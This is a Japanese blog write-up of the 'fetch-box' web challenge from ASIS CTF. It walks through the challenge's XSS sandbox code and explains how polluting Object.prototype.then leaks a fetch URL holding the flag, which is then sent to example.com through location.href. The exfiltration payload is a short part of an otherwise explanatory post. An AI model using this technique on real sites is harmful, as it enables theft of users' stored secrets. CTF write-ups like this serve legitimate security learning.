12/29 - 12/30という日程で開催された。BunkyoWesternsで参加して3位。これをもって今年のCTFは終わり。まだAlpacaHack Round 8があるけれども、用事があるのでまたそのうち遊びたい。
裏番組としてこれまた評価の高いhxp 38C3 CTFが開催されており、当然ながら我々にはそんなリソースはないのでこちらのCTFにだけ参加したのだけれども、Friendly Maltese Citizensが両方に出て優勝および準優勝というとんでもないパフォーマンスを見せていた。
[Web, Misc 194] fetch-box (19 solves)
A client-side sandbox challenge!
Challenge: (問題サーバのURL) Admin bot: (admin botのURL)
Author: @arkark_
添付ファイル: fetch-box_dd28ba44916c3afeb58b0d366da8fd166b88398b.txz
compose.yaml
は次の通り。問題サーバの web
とadmin botの bot
という2つのサービスがある。後者がフラグを持っているらしい。
services: web: build: ./web restart: unless-stopped init: true ports: - 3000:3000 bot: build: ./bot restart: unless-stopped init: true ports: - 1337:1337 environment: - FLAG=ASIS{REDACTED}
bot
の主要な処理は次の通り。localStorage.flag
にフラグを設定しているらしい。
const page1 = await context.newPage(); await page1.goto(APP_URL + "/ping", { timeout: 3_000 }); await page1.evaluate((flag) => { localStorage.setItem("flag", flag); }, FLAG); await sleep(1_000); await page1.close(); const page2 = await context.newPage(); await page2.goto(url, { timeout: 5_000 }); await sleep(10_000); await page2.close();
web
の index.js
は次の通り。非常にシンプルだ。CSPが設定されているけれどもゆるめ。
import express from "express"; import fs from "node:fs"; const html = fs.readFileSync("index.html", { encoding: "utf8" }); express() .use("/", (req, res, next) => { res.setHeader( "Content-Security-Policy", "base-uri 'none'; frame-ancestors 'none'" ); next(); }) .get("/", (req, res) => res.type("html").send(html)) .get("/ping", (req, res) => res.type("text").send("pong")) .listen(3000);
最後に index.html
は次の通り。任意のJSコードが実行できるようになっていて便利だけれども、localStorage.flag
にアクセスするだけではフラグは得られない。というのも、我々が与えたJSコードが実行される前に localStorage.flag
が削除されてしまっているためだ。
この localStorage
のアイテムが削除される前に、flag
という(我々はタッチできない場所にある)ローカルの変数にフラグが格納されている。そして。500msごとに /ping?flag=ASIS{…}
のようなURLへ fetch
でHTTPリクエストが送信されるようになっている。なんとかしてこのURLを手に入れられないか。
<!DOCTYPE html> <body> <h1>XSS Playground</h1> <script> (() => { const flag = localStorage.getItem("flag") ?? "🚩"; localStorage.removeItem("flag"); const fetch = Object.freeze(window.fetch); const resource = `/ping?${new URLSearchParams({ flag })}`; const options = Object.create(null); const fun = () => fetch(resource, options); setInterval(fun, 500); })(); const params = new URLSearchParams(location.search); const xss = params.get("xss") ?? "console.log(1337)"; setTimeout(xss, 800); </script> </body>
fetch
と聞いて思い出すのが天然のPrototype Pollutionのガジェットだけれども、こういう感じで外部から fetch
の挙動を変更させて、たとえばエラーが起こるようにしてそれをcatchできないかと考えた。
body
, method
, headers
, …と適当なプロパティでPrototype Pollutionしていく。すると、Object.prototype.then = x => { console.log(123) }
で500msごとに代入した関数が実行されることに気付いた。これだ。
Object.prototype.then = function () { console.log(this.url) }
で、リクエスト先のURLを手に入れることができた。あとは実行される処理を location.href = ['//example.com?', this.url]
のようにして、外部へこれを送信させる。これでフラグが得られた。
ASIS{I_can7_wai7_f0r_S1ay_the_Spire_2}
PerformanceObserver
でもいけたらしい。へー。